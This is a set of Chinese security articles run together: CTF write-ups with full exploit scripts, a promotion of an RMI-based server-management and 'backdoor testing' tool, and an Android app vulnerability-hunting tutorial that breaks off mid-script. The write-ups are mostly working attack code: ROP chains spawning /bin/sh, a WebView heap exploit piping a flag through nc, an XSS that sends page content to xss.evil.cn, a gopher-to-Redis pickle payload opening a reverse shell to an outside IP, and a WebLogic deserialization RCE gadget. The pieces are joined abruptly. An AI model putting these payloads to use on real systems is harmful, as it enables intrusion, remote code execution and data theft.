0xc000045e40: 0x0000000000000020 0x000000c00005c180
0xc000045e50: 0x000000c000045e20 0x0000000000000001
0xc000045e60: 0x0000000000000000 0x0000000000000000
0xc000045e70: 0x000000c00005c1e0 0x0000000000000000
0xc000045e80: 0x0000000000000001 0x0000000000000000
0xc000045e90: 0x0000000000000000 0x000000c000045f78
0xc000045ea0: 0x000055555566afd0 0x000000c000000000
......
溢出会从第三部分的0x30字节往后，覆盖到0xc000045e10地址之后
可以看到0xc000045e30位置为一个slice:
struct slice{
byte* array;
uintgo len;
uintgo cap;
}
debug+硬件断点确定实际输出的是这个slice的数据
0xc000045ea0位置为返回地址
Exploit: 利用golang栈地址相对固定(远程利用报错debug信息可以看到栈地址)来设置好slice结构进行leak程序加载基址
而后部分覆盖返回地址进行复用(1/16爆破)
复用后直接ROP执行execv即可
#测试使用"{{{}"这类json也可以
from pwn import *
context.log_level="debug"
#p=process("./chall")
p=remote("123.57.209.176",30773)
payload='{{{} a '+"\x00"*0x30
payload+=(p64(0)*4+p64(0xc00003eea0)+p64(0x50)+p64(0x50)).ljust(0x90,"\x00")
payload+="\xb0\x6d"
#0
#gdb.attach(p)
p.sendlineafter(": ",payload)
p.recv(0x10)
addr=u64(p.recv(8))+0x5603ab9bd000-0x5603abb248a8
print hex(addr)
rdi=addr+0x0000000000117867
rsi2=addr+0x0000000000117865
rdx=addr+0x00000000000783de
rax=addr+0x0000000000073339
syscall=addr+0x000000000009c194
if addr>0:
payload='{{{} a '+"\x00"*0xc0
payload+=p64(rdi)+p64(0xc00003ee18)+p64(rsi2)+p64(0)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)+"/bin/sh\x00"
p.sendlineafter(": ",payload)
#gdb.attach(p)
p.interactive()
## pwndroid
环境搭建:
sdkmanager --install "system-images;android-24;default;x86"
echo "no" | avdmanager --verbose create avd --force --name "kirin_magic" --package "system-images;android-24;default;x86" --tag "default" --abi "x86"
输入ip，远程会执行
adb shell am force-stop ctf.bytedance.pwndroid
adb shell su root ps | grep "ctf\.bytedance\.pwndroid" | awk '{print $2}' | xargs -t adb shell su root kill -9
adb shell am start -a android.intent.action.VIEW -d pwndroid://ip
即：新开启pwndroid app来加载ip位置网页
看的APK内部native层定义了常见的add edit show delete操作
明显可以通过show直接leak，且在edit时存在堆溢出
堆结构:
char* data
func* print_handle
show时会调用print_handle(data)
可以在leak libc后直接通过溢出修改堆中的print_handle函数指针为system来RCE
注意堆风水比较复杂，这里我进行了小的堆喷操作，并利用ELF文件头来确定哪一个index1会溢出到哪一个index2
在NativeMethods中进行了封装，并在JSBridge中调用
PwnMe中看到:
this.mWebView.addJavascriptInterface(new JSBridge(this.mWebView), "_jsbridge");
加入了_jsbridge对象
直接在html中利用_jsbridge对象间接调用Native层即可
注意callback时因为异步问题，无法在callback函数内部及时更新全局变量（尤其show时，很不方便leak），可以利用延时，通过setTimeout解决
//时间紧，写得有点急
<!DOCTYPE html>
<html>
<body>
Kirin
<script>
var kirin
var kirin2
var index
var index2
var addr
var libc_addr
function getresult(obj) {
var a=obj['msg']
if(a[24]=='F' && a[25]=='0' && a[27]=='B'){
kirin=a
}
}
function get0(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=0
}
}
function get1(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=1
}
}
function get2(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=2
}
}
function get3(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=3
}
}
function get4(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=4
}
}
function get5(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=5
}
}
function get6(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=6
}
}
function get7(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=7
}
}
function get8(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=8
}
}
function get9(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=9
}
}
function get10(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=10
}
}
function get11(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=11
}
}
function get12(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=12
}
}
function get13(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=13
}
}
function get_final(obj){
kirin2=obj['msg']
}
//document.body.append(typeof _jsbridge)
function magic(){
//alert(typeof _jsbridge)
_jsbridge.call("add", '{"data":{"idx":0,"size":8,"content":"111111111111111111111"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":1,"size":8,"content":"2222222222222222222222"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":2,"size":8,"content":"33333333333333333333333"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":3,"size":8,"content":"44444444444444444444444"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":4,"size":8,"content":"55555555555555555555555"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":5,"size":8,"content":"666666666666666666666666"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":6,"size":8,"content":"777777777777777777777777"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":7,"size":8,"content":"888888888888888888888888"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":8,"size":8,"content":"99999999999999999999999"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":9,"size":8,"content":"aaaaaaaaaaaaaaaaaaaaaaaa"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":10,"size":8,"content":"bbbbbbbbbbbbbbbbbbbbbbbbb"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":11,"size":8,"content":"ccccccccccccccccccccccccc"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":12,"size":8,"content":"ddddddddddddddddddddddddd"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":13,"size":8,"content":"eeeeeeeeeeeeeeeeeeeeeeeee"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":14,"size":128,"content":"bbbbbbbbbbbbbbbbbbbbbbbbb"}, "cbName": ""}');
// _jsbridge.call("edit", '{"data":{"idx":0,"size":44,"content":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "cbName": ""}');
//_jsbridge.call("show", '{"data":{"idx":0}, "cbName": getresult}');
for (var i = 0; i < 14; i++) {
_jsbridge.call("show", '{"data":{"idx":'+i+'}, "cbName": getresult}');
}
setTimeout(function() {
addr=parseInt(kirin[24],16)*0x10+parseInt(kirin[25],16)+parseInt(kirin[26],16)*0x1000+parseInt(kirin[27],16)*0x100+parseInt(kirin[28],16)*0x100000+parseInt(kirin[29],16)*0x10000+parseInt(kirin[30],16)*0x10000000+parseInt(kirin[31],16)*0x1000000
addr=addr-0xbf0
index=parseInt(kirin[0],16)-1
tmp = addr.toString(16)
//alert(tmp)
content='bbbbbbbbbbbbbbbb'+tmp[7-1]+tmp[7-0]+tmp[7-3]+tmp[7-2]+tmp[7-5]+tmp[7-4]+tmp[7-7]+tmp[7-6]
_jsbridge.call("edit", '{"data":{"idx":'+index+',"size":12,"content":"'+content+'"}, "cbName": ""}');
for (var i = 0; i < 14; i++) {
_jsbridge.call("show", '{"data":{"idx":'+i+'}, "cbName": get'+i+'}');
}
setTimeout(function() {
//alert(index2)
tmp_addr=addr+0x2FF8
tmp = tmp_addr.toString(16)
content='bbbbbbbbbbbbbbbb'+tmp[7-1]+tmp[7-0]+tmp[7-3]+tmp[7-2]+tmp[7-5]+tmp[7-4]+tmp[7-7]+tmp[7-6]
_jsbridge.call("edit", '{"data":{"idx":'+index+',"size":12,"content":"'+content+'"}, "cbName": ""}');
_jsbridge.call("show", '{"data":{"idx":'+index2+'}, "cbName": get_final}');
setTimeout(function() {
//alert(kirin2)
libc_addr=parseInt(kirin2[24-24],16)*0x10+parseInt(kirin2[25-24],16)+parseInt(kirin2[26-24],16)*0x1000+parseInt(kirin2[27-24],16)*0x100+parseInt(kirin2[28-24],16)*0x100000+parseInt(kirin2[29-24],16)*0x10000+parseInt(kirin2[30-24],16)*0x10000000+parseInt(kirin2[31-24],16)*0x1000000-0x0014550
//alert(libc_addr.toString(16))
content="bbbbbbbbbbbbbbbb"+kirin[8+8]+kirin[8+9]+kirin[8+10]+kirin[8+11]+kirin[8+12]+kirin[8+13]+kirin[8+14]+kirin[8+15]
tmp_addr=libc_addr+0x0072b60
tmp = tmp_addr.toString(16)
//alert(index)
//>>> 'sh -c "cat /data/local/tmp/flag | nc 127.0.0.1 6666"\x00'.encode("hex")
//'7368202d632022636174202f646174612f6c6f63616c2f746d702f666c6167207c206e63203132372e302e302e3120363636362200'
//>>> len(_)/2
//53
content=content+tmp[7-1]+tmp[7-0]+tmp[7-3]+tmp[7-2]+tmp[7-5]+tmp[7-4]+tmp[7-7]+tmp[7-6]
cmd="7368202d632022636174202f646174612f6c6f63616c2f746d702f666c6167207c206e63203132372e302e302e3120363636362200"
_jsbridge.call("edit", '{"data":{"idx":'+index+',"size":16,"content":"'+content+'"}, "cbName": ""}');
_jsbridge.call("edit", '{"data":{"idx":'+index2+',"size":53,"content":"'+cmd+'"}, "cbName": ""}');
_jsbridge.call("show", '{"data":{"idx":'+index2+'}, "cbName": "get13"}');
}, 1000)
}, 1000)
}, 1000)
}
//alert(a)
magic()
</script>
</body>
</html>
## easyheap
很明显add时，size获得时有逻辑问题
前后没有进行更新，导致可以任意偏移写一字节”\x00”
利用0x20大小的chunk，和size逻辑问题绕过memset和00截断，直接利用unsorted bin进行leak
而后通过任意偏移写一字节”\x00”，布置好堆布局，恰好修改到一个tcache_free_chunk的fd低字节为00，即可分配到一个构造好chunk的位置，这里我修改fd后恰好指向chunk本身，人为构造了double
free的堆布局
而后tcache attack修改free_hook为system即可在free(“/bin/sh”)时getshell
from pwn import *
context.log_level="debug"
def add(size,note):
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)
def show(index):
p.sendlineafter(">> ","2")
p.sendlineafter(": ",str(index))
def delete(index):
p.sendlineafter(">> ","3")
p.sendlineafter(": ",str(index))
#p=process("./easyheap")
p=remote("123.57.209.176",30774)
add(3,"aaa")
add(3,"aaa")
delete(0)
delete(1)
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(0x100))
p.sendlineafter(": ",str(1))
p.sendafter(": ","a")
show(0)
p.recvuntil("Content: ")
heap=u64(p.recv(6)+"\x00\x00")
print hex(heap)
delete(0)
for i in range(8):
add(0x80,"a"*0x80)
for i in range(8):
delete(7-i)
add(8,"/bin/sh\x00")
add(3,"aaa")
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(0x100))
p.sendlineafter(": ",str(1))
p.sendafter(": ","a")
show(2)
p.recvuntil("Content: ")
libc=u64(p.recv(6)+"\x00\x00")+0x7ffff7dd7000-0x7ffff7fc2c61
print hex(libc)
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(0x91))
p.sendlineafter(": ",str(0x80))
p.sendafter(": ","b"*0x80)
add(0x80,p64(libc+0x01eeb28).ljust(0x80,"\x00"))
add(0x80,p64(libc+0x01eeb28).ljust(0x80,"\x00"))
add(0x80,p64(libc+0x0055410)+"\n")
delete(0)
p.interactive()
## douyin_video
<http://a.bytectf.live:30001/%0a.xxxx.com> 通过正则写的bug，可以跳到任意 www.douyin.com
开头的网站，之后就是xss
在macos上测试，因为 resp.headers[‘X-Frame-Options’] = ‘sameorigin’
同源策略，b.bytectf.live 不会被加载，检测 frames[0].frames.length
即可，但是打远程不成功，之后在linux环境下测试。。。发现居然不检测子域名是否同源，所以无法xsleak。但是发现也不检测端口是否同源，又因为document.domain被提升，直接就能在30002的guestbook上读30001上的document。。。
提交到 c.bytectf.live:30002，然后让bot跳过去就行
i = document.createElement('iframe')
i.src = 'http://b.bytectf.live:30001/send?keyword=Byte'
document.domain = 'bytectf.live'
document.body.append(i)
setTimeout(() => {
a = i.contentWindow.document.body.innerHTML
fetch('http://xss.evil.cn/?' + escape(a))
}, 2000)
## secure_website
点开发现路径全部是一串hex，随便改点啥返回，crypto/cipher: input not full blocks
修改不同的地方会出现不同的结果
有
No file.
Bad Request.
File expired.
几种，有部分文件在修改时会出现
3a4)A®=º.~J³b!F¡(a96 file, 3a4f6aa5-f42c-4aa1-8a96
这种乱码，同时可以注意到 3a4, a96是正确的，乱码的长度是16，而且在对unhex后的16位chunk里面的任意一个修改都会导致乱码。
对这可以确定是用的分组密码，大概率是AES，又注意到在修改的时候对着chunk的第一位修改，会导致结果16位乱码之后的第一位变动，可以推断出是AES-CBC。
这里直接给了解密的结果，而且iv是已知的，只不过用错了一个，根据CBC原理可以直接恢复正确的解密结果，脚本的print(strxor(strxor(decdata,
iv), orgiv))就是解密的结果。
import requests
import binascii
from Crypto.Util.strxor import strxor
session = requests.session()
url = "http://39.102.70.108:30080/"
burp0_cookies = {"session": "MTYwMzYwNDU5NHxEdi1CQkFFQ180SUFBUkFCRUFBQU5mLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRCa0FGelZoWkRWbU5XSmxMV1ppTnprdE5HVTJNeTFoTUdSaXxtdMibdvk_cMqwoIhQBYT1yNIvNef_Fdw2aIqaAaSO-w=="}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36", "DNT": "1", "Accept": "text/css,*/*;q=0.1", "Referer": "http://182.92.174.109:30080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7", "sec-gpc": "1", "Connection": "close"}
a = 'cbba9c7866cb8ecd9bcbd398f95adcb2f5e830cd6bc057ad15267934624b1d73fbc3a5e6ab72093379f72f4c7e030bc476c3da8d1b69bb1f6f764823627097d6393cdd1f956f416edab58a071069b982e2162060ac228744d19189904f452d4a922146b886c6e97b11151124ad47f46e'
a = binascii.unhexlify(a)
#a = '73ffb490b0d9f2266a5c673406593ab473b7f3d3b887fd21285e66735a0e34f39a70397ef6d08779d30fcd93bc79685e70a4e76ab7e44a52ac79aa409002f3972661bca9328ef5e243a321a1f10ce03711795ba4bfb46a39e633d66749d83ccdcc7a0a2a2a9b32ee96b9c6ce19bbf7a3'
start_idx = 64
front = a[:start_idx]
back = a[start_idx+16:]
org = a[start_idx:start_idx+16]
dec_idx =32
dec = a[dec_idx:dec_idx+16]
orgiv = a[dec_idx-16:dec_idx]
iv = front[-16:]
a = front + dec + org + back
res = session.get(url + binascii.hexlify(a).decode(), headers=burp0_headers, cookies=burp0_cookies)
print(res.text)
data = res.content
decdata = data[11:11+16]
print(decdata)
print(strxor(strxor(decdata, iv), orgiv))
b'/file?filename=statics/css/lightbox.css&user=76bed7be-b111-413f-'
b'/file?filename=statics/css/lightbox.css&user=3de920c2-a0f2-4af3-959a&expire\x7f\x0c\xf0\xb0\xb33608963\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'/file?filename=statics/css/lightbox.css&user=3de920c2-a0f2-4af3-959a&expired=1603609302\x00\x00\x00\x00\x00\x00\x00\x00\x00'
raw_dec = strxor(decdata, iv)
print(raw_dec)
poc1 = b'/file?filename=/'
poc2 = b'flag&aaaaaaaaaaa'
#poc3 = b'e&aaaaa&user=3de'
poc = poc1
print(strxor(poc, raw_dec))
print(binascii.hexlify(strxor(poc, raw_dec)))
# ec8547904a5316352d4bb4fd42e3eca13e2e8d10b1698d2c6624844c76c92fbe0000000000000000000000000000000070a4e76ab7e44a52ac79aa409002f3972661bca9328ef5e243a321a1f10ce03711795ba4bfb46a39e633d66749d83ccdcc7a0a2a2a9b32ee96b9c6ce19bbf7a3
# b'\x89\xa3}\x80\xf2\x14\x9e\x94\x1e@\xd7|\\\r\xd7}' ^ b'p\xa4\xe7j\xb7\xe4JR\xacy\xaa@\x90\x02\xf3\x97'
# rawdec b'\xf9\x07\x9a\xeaE\xf0\xd4\xc6\xb29}<\xcc\x0f$\xea'
# ccfa723eeacaf36488126a24310abbfae7e525c32ed219af073437396a4d1466fbc3a5e6ab72093379f72f4c7e030bc476c3da8d1b69bb1f6f764823627097d6393cdd1f956f416edab58a071069b982e2162060ac228744d19189904f452d4a922146b886c6e97b11151124ad47f46e
'''
GET /ccfa723eeacaf36488126a24310abbfae7e525c32ed219af073437396a4d1466fbc3a5e6ab72093379f72f4c7e030bc476c3da8d1b69bb1f6f764823627097d6393cdd1f956f416edab58a071069b982e2162060ac228744d19189904f452d4a922146b886c6e97b11151124ad47f46e HTTP/1.1
Host: 39.102.70.108:30080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
Cookie: session=MTYwMzYwNDU5NHxEdi1CQkFFQ180SUFBUkFCRUFBQU5mLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRCa0FGelZoWkRWbU5XSmxMV1ppTnprdE5HVTJNeTFoTUdSaXxtdMibdvk_cMqwoIhQBYT1yNIvNef_Fdw2aIqaAaSO-w==
sec-gpc: 1
Connection: close
'''
可以得到加密的其实就是
b'/file?filename=statics/css/lightbox.css&user=3de920c2-a0f2-4af3-959a&expired=1603609302\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PS. 这里不知道为什么有时候会得到错误的解密结果，比如statihs, filenamn之类的，但换了session之后又正常了。。也不知道怎么回事
于是在已知当前解密结果外加iv的情况下，可以修改前一chunk来伪造当前chunk的解密结果，可以不停往前重复，伪造全部的结果。就是脚本后半部分的作用，太懒没有自动化，需要手工替换下front
+ dec + org + back 中的 dec和poc1,2,3来伪造。最后尝试读 /etc/passwd 成功，想着读读程序，但是读
/proc/self/cmdline失败，于是直接尝试读/flag，直接就出了
## scrapy
题目是个scrapy，提交url会爬，同时会抓取页面内的链接再爬一次。
猜测抓的a标签会request请求一次，于是测了一下file，发现可以任意读。
fuzz了很多，environ能看到pwd是/code，结合scrapy的项目结构，读了一下scrapy.cfg发现能读到。
# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html
[settings]
default = bytectf.settings
[deploy]
#url = http://localhost:6800/
project = bytectf
可以看到没开6800，结合project继续读，何以读到整个项目代码，发现用了mongo和redis。但是scrapy.Request是不支持gopher/dict的，这里就有点卡住了，后来测出来/result路由的请求支持gopher，想到了gopher打redis/mongo。
gopher打redis，主从/crontab都没成，没回显很缺信息。
gopher打mongo restapi，没成，不知道为啥。
stuck
审了一波scrapy没有找到能完全可控的写pickle序列化字节码操作，后来看代码发现用了spider_redis就翻了一下，发现很明显的scrapy_redis在使用priority_queue等进行请求调度的存取url的过程中，是pickle.dump以后存的，取的时候也直接pickle.load。。。。。
可以看到是一个有序集合，zadd一个url就行。。注意self.key
然后生成弹shell exp，gopher打就行
/result?url=gopher://172.20.0.7:6379/_zadd%2520byte%253Arequests%25201%2520%2522%255Cx80%255Cx03cposix%255Cnsystem%255Cnq%255Cx00X%255Cxe9%255Cx00%255Cx00%255Cx00python%2520-c%2520%255C'import%2520socket%252Csubprocess%252Cos%253Bs%253Dsocket.socket(socket.AF_INET%252Csocket.SOCK_STREAM)%253Bs.connect((%255C%2522139.199.203.253%255C%2522%252C1234))%253Bos.dup2(s.fileno()%252C0)%253B%2520os.dup2(s.fileno()%252C1)%253B%2520os.dup2(s.fileno()%252C2)%253Bp%253Dsubprocess.call(%255B%255C%2522%252Fbin%252Fbash%255C%2522%252C%255C%2522-i%255C%2522%255D)%253B%255C'q%255Cx01%255Cx85q%255Cx02Rq%255Cx03.%2522
## jvav
一开始以为没开t3/iiop，以为直接来白嫖http 1day的。。。。。。。。。
后来发现https，参考weblogic_cmd改了一下支持t3s的操作，然后14644一把梭就行。注意coherence版本。
public static Object doBlind14644(String c) throws Exception {
String command = null;
if (c.startsWith("linux=")) {
command = "Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"" + c.replace("linux=", "") + "\"});";
}
if (c.startsWith("win=")) {
command = "Runtime.getRuntime().exec(new String []{\"cmd.exe\",\"/c\",\"" + c.replace("win=", "") + "\"});";
}
String r = getRandomString(10);
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("com.tangosol.internal.util.invoke.lambda.AbstractRemotableLambda$" + r);
if (!clazz.isFrozen()) {
pool.importPackage("java.lang.Runtime");
CtConstructor cons = new CtConstructor(new CtClass[0], clazz);
String cmd = "{" + command + "}";
cons.setBody(cmd);
clazz.addConstructor(cons);
}
ClassIdentity classIdentity = new ClassIdentity();
Reflections.setFieldValue(classIdentity, "m_sPackage", "com.tangosol.internal.util.invoke.lambda");
Reflections.setFieldValue(classIdentity, "m_sBaseName", "AbstractRemotableLambda");
Reflections.setFieldValue(classIdentity, "m_sVersion", r);
RemoteConstructor constructor = new RemoteConstructor(new ClassDefinition(classIdentity, clazz.toBytecode()), new Object[0]);
return constructor;
} | 社区文章 |
Shell Plus 是基于 RMI 的一款服务器管工具，由服务端、注册中心、客户端进行组成。
### 免责声明
该工具用于服务器管理、攻防后门安全测试技术研究，禁止用于非法犯罪。
### 原理
RMI（Remote Method Invocation）远程方法调用。能够让在客户端Java虚拟机上的对象像调用本地对象一样调用服务端java
虚拟机中的对象上的方法。
RMI远方法程调用步骤：
1. 客户调用客户端辅助对象stub上的方法
2. 客户端辅助对象stub打包调用信息（变量、方法名），通过网络发送给服务端辅助对象skeleton
3. 服务端辅助对象skeleton将客户端辅助对象发送来的信息解包，找出真正被调用的方法以及该方法所在对象
4. 调用真正服务对象上的真正方法，并将结果返回给服务端辅助对象skeleton
5. 服务端辅助对象将结果打包，发送给客户端辅助对象stub
6. 客户端辅助对象将返回值解包，返回给调用者
7. 客户获得返回值
举个例子：
假设A公司是某个行业的翘楚，开发了一系列行业上领先的软件。B公司想利用A公司的行业优势进行一些数据上的交换和处理。但A公司不可能把其全部软件都部署到B公司，也不能给B公司全部数据的访问权限。于是A公司在现有的软件结构体系不变的前提下开发了一些RMI方法。B公司调用A公司的RMI方法来实现对A公司数据的访问和操作，而所有数据和权限都在A公司的控制范围内，不用担心B公司窃取其数据或者商业机密。
工具借用 RMI 的调用原理，所有的数据操作都是发生在服务端进行完成的，客户端通过注册中心进行调用服务端的代码在 **服务端**
进行执行，最后将相应结果进行返回。
通过编写服务器管理代码，代码进行注册到服务中，然后由客户端进行调用该服务端代码执行操作。
### 用法
开源地址：<https://github.com/0nise/shell-plus>
自行编译：
git clone https://github.com/0nise/shell-plus
cd shell-plus
mvn clean package -DskipTests
发行版本：<https://github.com/0nise/shell-plus/releases>
开启服务端：
java -cp shell-plus-1.0.jar Main <port> <ip> [pwd]
例子：
java -cp shell-plus-1.0.jar Main 3333 127.0.0.1 123456
连接服务端管理服务器：
java -cp shell-plus-1.0.jar Client <port> <ip> <name> [pwd]
java -cp shell-plus-1.0.jar Main 3333 127.0.0.1 3I3IF5liOOrw731Y 123456
其中 `pwd` 参数可以不填默认为空，但不推荐。
### 参考
* [Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿（上）](https://paper.seebug.org/1091/#rmi)
* <https://github.com/0nise/shell-plus>
* [浅谈RMI](https://blog.csdn.net/wubinghai/article/details/82951769) | 社区文章 |
# 浅析src的app漏洞挖掘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前自学了安卓的漏洞挖掘知识，还在wsrc、bilisrc、asrc等提交了安卓app方面的安全漏洞，一直没有做笔记，现在就来总结一下学过的部分知识。
## 用burpsuite实现app抓包
点击Proxy——>Options里的add
输入模拟器的ip和端口
接着就是配置手机端，首先导出Burpsuite的CA证书。
点击import/export CA certificate，
选择第一个选项，然后重命名为xxx.cer,保存在一个合适的文件夹
接着在安卓端的 设置—>安全—>从SD卡安装 把证书导进安卓端
最后在网络设置上刚才在burpsuite输入的代理就可以进行抓包啦
附上一张我在微博src挖到逻辑漏洞的图
## 用drozer进行app的漏洞挖掘
drozer真的是个测安卓的神器，其最大的特点就是模块化，可以自行编写测试模块。安装教程就不多讲，大家可以在网上搜索教程。
1、在PC上使用adb进行端口转发，转发到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
2、在Android设备上开启Drozer Agent
3、在PC上开启Drozer console
drozer console connect
## 测试用到的各种命令
这里用官方提供的app做测试
### 获取包名
run app.package.list -f sieve
### 获取应用的基本信息
run app.package.info -a com.mwr.example.sieve
### 确定攻击面
run app.package.attacksurface com.mwr.example.sieve
由这可以看出3个activity、两个content providers和两个services暴露，可能存在漏洞。
### Activity
（1）获取activity信息
run app.activity.info -a com.mwr.example.sieve
这里显示的是具体activity的名称，当我们反编译的时候搜索该名称就能找到漏洞代码。
（2）启动activity
run app.activity.start --component com.mwr.example.sieve
这条命令后面要加上具体的activity名称，当我们输入命令启动activity的时候，如果app崩溃了，就存在本地拒绝服务漏洞，如果启动的是我们不能访问的页面，该app就存在权限提升漏洞。
#### 更多具体的命令请参考下面这篇文章
<https://blog.csdn.net/cch139745/article/details/53519900>
## 安卓的本地拒绝服务漏洞
下面要讲的一中漏洞既普遍又通用，即安卓的本地拒绝服务。通用型本地拒绝服务漏洞，主要源于攻击者向Intent中传入其自定义的序列化类对象，当调用组件收到此Extra序列化类对象时，无法找到此序列化类对象的类定义，因此发生类未定义的异常而导致应用崩溃。
本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效（如杀毒应用、安全卫士、防盗锁屏等），而且也可被竞争方应用利用来攻击，使得自己的应用崩溃，造成不同程度的经济利益损失。
1)
NullPointerException异常导致的拒绝服务，源于程序没有对getAction()等获取到的数据进行空指针判断，从而导致空指针异常而导致应用崩溃；
代码片段：
Intent i = new Intent();
if (i.getAction().equals("NullPointerException")) {
Log.d("TAG", "Test");
}
2) ClassCastException异常导致的拒绝服务,
源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换，从而导致类型转换异常而导致应用崩溃；
代码片段：
Intent i = getIntent();
String test = (String)i.getSerializableExtra("key");
3)
IndexOutOfBoundsException异常导致的拒绝服务，源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断，从而导致数组访问越界而导致应用崩溃；
代码片段：
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("id");
if (intArray != null) {
for (int i = 0; i < NUM; i++) {
intArray.get(i);
}
}
## app漏洞测试步骤
1、列出包含xxx字样的包名
run app.package.list -f xxx
2、查看攻击面
run app.package.attacksurface 包名
3、查看暴露的activity
run app.activity.info -a 包名
4、接下来就是用apktool反汇编在AndroidManifest.xml中找activity的详细信息
apktool反汇编命令：
apktool d xxx.apk -o outdir
查看所在的文件夹
5、接着就是将apk反编译成java代码，由于方便，这里我常用的工具是 安卓逆向助手，当然jeb等工具也不错，但是正版的太贵了。。
这里直接用jd-gui看第一个jar包，然后直接审oncreate函数，看看其有没有本地拒绝服务和权限提升等漏洞。
6、也可以用jad工具把jar包反编译成java文件，然后用FileLocator Pro查找java
文件中有无漏洞代码，这里也可以用来查找动态注册的broadcast receivers
jad 反编译命令
jad -o -r -sjava -dsrc com/**/*.class
此命令作用是把com文件夹及其子目录下所有的class反编译
查找包含文本：
### 对activity进行fuzz自动化测试本地拒绝服务
前面说过drozer最大的特点就是模块化，上面的步骤手动测太麻烦，我们可以自己编写或找个脚本自动帮我们测试。下面是我从网上找的脚本：
from drozer import android
from drozer.modules import common, Module
class Deny(Module, common.Filters, common.PackageManager):
name = "find NullPointerException"
description = "."
examples = """
dz> run app.package.deny com.android.browser
6 activities exported
4 broadcast receivers exported
1 content providers exported
0 services exported"""
author = "ydalien"
date = "2017-01-02"
license = "BSD (3 clause)"
path = ["exp", "fuzz"]
permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
def add_arguments(self, parser):
parser.add_argument("package", help="the identifier of the package to inspect")
def attack(self,component,package,flags):
act=None
cat=None
data=None
comp=(package,component.name)
extr=None
flgs=None
if(flags=='activity'):
flgs =['ACTIVITY_NEW_TASK']
intent = android.Intent(action=act,component=comp,category=cat,data_uri=None, extras=extr, flags=flgs, mimetype=None)
if intent.isValid():
if(flags=='activity'):
self.getContext().startActivity(intent.buildIn(self))
if(flags=='service'):
self.getContext().startService(intent.buildIn(self))
if(flags == 'receiver'):
self.getContext().sendBroadcast(intent.buildIn(self))
else:
self.stderr.write("[-] Invalid Intent!n")
def execute(self, arguments):
if arguments.package != None:
package = self.packageManager().getPackageInfo(arguments.package, common.PackageManager.GET_ACTIVITIES | common.PackageManager.GET_RECEIVERS | common.PackageManager.GET_PROVIDERS | common.PackageManager.GET_SERVICES)
application = package.applicationInfo
activities = self.match_filter(package.activities, 'exported', True)
receivers = self.match_filter(package.receivers, 'exported', True)
providers = self.match_filter(package.providers, 'exported', True)
